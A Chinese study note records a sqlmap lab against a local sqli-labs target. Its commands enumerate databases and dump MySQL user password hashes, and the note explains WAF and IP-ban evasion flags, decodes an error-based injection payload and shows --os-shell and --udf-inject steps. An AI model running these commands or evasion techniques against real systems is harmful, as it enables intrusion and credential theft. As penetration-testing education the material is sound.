- 在windows上查看80端口是否开启的命令为:cmd ——> netstat -ano | findstr :80
- tasklist | findstr “4” 可查询到PID为4的进程为系统system进程
一、sql注入的相关原理:
- 说明:常见WEB漏洞之sql注入必须精通,因为在信息收集阶段,我们的目标是一个网站的服务器。常见的21、22、23号端口大多数情况都不会开放的,但是80、8080等WEB端口一定24小时开放着。这个时候我们不能用ssh口令爆破登录远程主机,只能从WEB方面考虑是否存在漏洞。
- 对sql注入的理解到底有多深,决定了你对此漏洞的利用方式有多么的变化莫测!!!
- SQLI(sql injection 即SQL注入)。sql(structed query language,即结构化查询语言),常见的SQL有:mysql、mssql、orcale、postgresql等等。
二、sqlmap的相关介绍
1、sqlmap的相关理论知识:
sqlmap是一款用来检测与利用SQL漏洞的注入神器。开源的自动化SQL注入工具,由Python语言写成。
具有如下特点:
- 完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
- 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
- 在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
- 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。
- 支持自动识别密码哈希格式并通过字典破解密码哈希。
- 支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。
- 支持在数据库管理系统中搜索指定的数据库名、表名或列名。
- 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持下载或上传文件。
- 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持执行任意命令并回现标准输出。
2、sqlmap的安装:
- Sqlmap的开源项目,托管在github,最简单的安装方式便是使用git,执行如下命令:
git clone https://github.com/sqlmapproject/sqlmap.git - 片刻后命令执行完毕,可以看到当前目录中多了一个名为“sqlmap”的目录,该目录中保存着Sqlmap的Python源码、配置文件和文档。
由于Python是解释执行的语言,不用编译,所以至此最新版的Sqlmap已经安装完成。
三、sqlmap工具的简单应用
我们老师的金句:不要过于依赖sqlmap工具,手工注入–掌握底层原理
Sqlmap有的无法绕过waf,因此还是手工注入更能体现出水平!
(一)实验环境:
- Win7上安装phpStudy工具,IP:192.168.85.112
- Kali(自带sqlmap),IP:192.168.85.169
1、在Win7操作系统上配置服务器端的日志设置;
在C:\phpStudy\PHPTutorial\Apache\conf目录下修改配置文件httpd.conf,在文件中搜索 logLevel error,并将最后一行#CustomLog “logs/access.log” combined语句前面的# 号去掉,可以使配置服务器端apache服务的日志可以记录;
2、通过ping命令检测网络是否互通:
- 在kali上:ping 192.168.85.112是否可以ping通Win7;
- 在Win7上ping命令,kali是否网络可达;
(二)操作步骤
1、kali上通过命令操作获取数据库名:
切记:这里我们在进行sqlmap注入时,应该先关掉服务器上自带的防火墙和已安装的防火墙(如:safedog等等)。
1.1> 命令:sqlmap -help ——> 获取sqlmap的帮助信息;
1.2> 判断id是否存在注入点
命令:sqlmap -u 'http://192.168.85.112/sqlilabs/Less-5/?id=1’
#判断id参数是否存在注入:结果中包含 “id” is Vulnerable 字段表示存在注入
存在注入,下面的步骤才可以执行成功。
- -u : 注入点
1.3> 列举能列出的所有数据库名;
命令:Sqlmap -u ‘http://192.168.85.112/sqli-labs/Less-5/?id=1’ --dbs
# 列举能列的所有数据库名
- -u : 注入点
- –dbs : 列出所有数据库
- –flush-session : 重新注入。因为有缓存,所以出来很快,所以用–flush-session来重新注入;
数据库名如下:
2、也可以通过手工注入burp拦截数据流量,然后使用-r读物文件
2.1> 在物理机上通过Burp Suite的对firefox浏览器代理的抓包;
2.1.1> 在浏览器上通过http://192.168.85.112/sqlilabs/Less-5/?id=4进行注入;
2.1.2> 通过BurpSuite进行抓包,并将抓包到的所有内容复制下导入到kali中;
2.2> 在kali中将2.1.2>中复制的内容黏下来,并通过sqlmap对其进行注入;
2.2.1> 创建sqlmap.txt文件,并进行内容复制;
命令1:touch sqlmap.txt
命令2:leafpad sqlmap.txt
接下来将需要上面复制的内容,粘贴到sqlmap.txt文件中。
2.2.2> 在kali中通过执行sqlmap.txt文件对目标进行注入;
命令:root@kali:sqlmap -r sqlmap.txt --dbs --flush-session
- -r:从一个文件里加载http请求
上面两种注入方法没有本质的区别。
分析Win7服务器上apache的日志文件
1、通过C:\phpStudy\PHPTutorial\Apache\logs路径打开Win7中的apache日志文件access.log
1.1> 关于以上Apache日志文件的简单说明:
记录IP,- -(表示网站访问的登录用户和密码),日期,请求方法以及路径
对以上Apache日志文件进行分析:
- HTTP/1.1 ——表示HTTP版本
- 200 —— 表示返回状态码;
- 787 —— 请求页面字节数;
- User-agent —— 用户代理;
分析日志发现:短时间内有大量的相同请求,网站分析可能是脚本在跑,手工注入速度达不到,因此有可能被封杀。
1.2> 注入Payload的说明
? id=1%20AND%20%28SELECT%206267%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x716a766a71%2C%28SELECT%20%28ELT%286267%3D6267%2C1%29%29%29%2C0x7178787171%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x%29a%29 HTTP/1.1" 200 2494 "-" "sqlmap/1.3.4#stable (http://sqlmap.org)"
语上面的Payload特殊语句去掉后,可以翻译成为:
4' AND (SELECT 9123 FROM(SELECT COUNT(*),CONCAT(0x71706b7a71,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'zlat'='zlat id=1 AND (SELECT 6267 FROM(SELECT COUNT(*),CONCAT(0x716a766a71,(SELECT (ELT(6267=6267,1))),0x7178787171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) HTTP/1.1" 200 2494 "-" "sqlmap/1.3.4#stable (http://sqlmap.org)"
2、数据包伪装
一般网站我们都用sqlmap这样的自动化工具去跑,很可能IP被封杀掉。因此合理的伪装成正常的访问是我们需要进一步做到的,以下为相关的参数:
- -delay —— 设置两个包之间的延迟,避免一秒内连发了10个相同的包,让网站服务器识别出是脚本在运行;
- -timeout —— 设置超时时间,网络中有可能因为网络阻塞,导致包迟迟发不过去,
因此超过一定时间就丢弃; - -retries —— 设置重试次数,默认值为3;
- -random-agent —— 随机使用user-agent头部,让网站无法判断出我们使用那种设备;
- -v —— 详细的等级(0-6);
- 0:只显示Python的回溯,错误和关键消息
- 1:显示信息和警告消息
- 2:显示调试消息
- 3:有效载荷注入
- 4:显示HTTP请求
- 5:显示HTTP响应头
- 6:显示HTTP响应页面的内容
- -level 3 —— 大于等于3的时候对user-agent注入,-level=5对cookie注入;
- -risk —— 判断注入风险;
- –threads —— 指定线程数,不易太高, --threads=10 —— 最大为10;
- -time-sec —— 基于时间的盲注;
- -dns-domain dns —— 泄露攻击;
- -f/–fingerprint —— 指纹;
- -b/–banner —— 利用version()函数 获取banner信息;
- -is-dba —— 是否为管理员;
(1)实测1:
输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=1’ --thread 5 --delay 1 --timeout 2 --retries 2 --random-agent --risk 3 --dbs
- 分析日志:
这个是老师给的资料上面的图片—— 注意:通过对apache日志的观察和分析User-agent头部已经改变。:
这个是自己的的Win7上面的apache日志:
192.168.85.134 - - [12/Sep/2019:10:50:35 +0800] "GET /sqlilabs/Less-5/?id=1 HTTP/1.1" 200 704 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2"
- sqlmap注入得到的注入类型有:盲注、错误注入、时间注入。
- 最后得到的数据库结果:
(2)实测2——基于时间的盲注:
输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=3’ --time-sec 5 --dbs
(3)实测3:-f 指纹注入
输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ -f
- -f —— 指纹判别数据库类型;
- 注入指纹得到mysql详细的版本:
(4)-b 获取 banner信息:
- 输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ -b
- 最后结果获取的banner信息:
(5)–is-dbs 判断是否为管理员
DBA:数据库管理员(Database Administrator,简称DBA)
- 输入: sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ --is-dba
- 通过结果判断是否为管理员:
(6)开始sql注入—数据获取:
- -D 数据库名 —— 指定数据库名;
- -tables -D 数据名 —— 列出指定数据库中的表
输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ -D mysql --tables --threads=10
获得的mysql数据库的表:
(7)爆出数据库中表的字段:
- –columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段
输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ -D mysql -T user --columns --threads=10
获取字段最后的结果:
(7)找到user和password爆出值:
- -dump -T “数据库” -D “表” -C “字段” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)
输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ -D mysql -T user -C user,password --dump --threads=10
对密码进行了hash加密:
获取数据库mysql,表user中的用户名(user)和密码(password);
(8)知道了sql用户和密码后,就可以使用 --sql-shell —— 运行自定义的SQL语句(即,系统交互shell);
输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ --sql-shell
(9)–udf-inject #导入用户自定义函数(获取系统权限)
输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ --dbs --udf-inject --flush-session
(10)–os-shell #系统交互shell
用–os-shell参数可以模拟一个真实的Shell,输入项执行的命令。当不能之心个多语句时(比如PHP或ASP的后端数据库为MySQL),任然可以使用INTO OUTFILE写进可写目录,创建一个Web后门。–os-shell支持ASP、ASP.NET、JSP和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就是–is-dbs的值腰围True)。
输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ --os-shell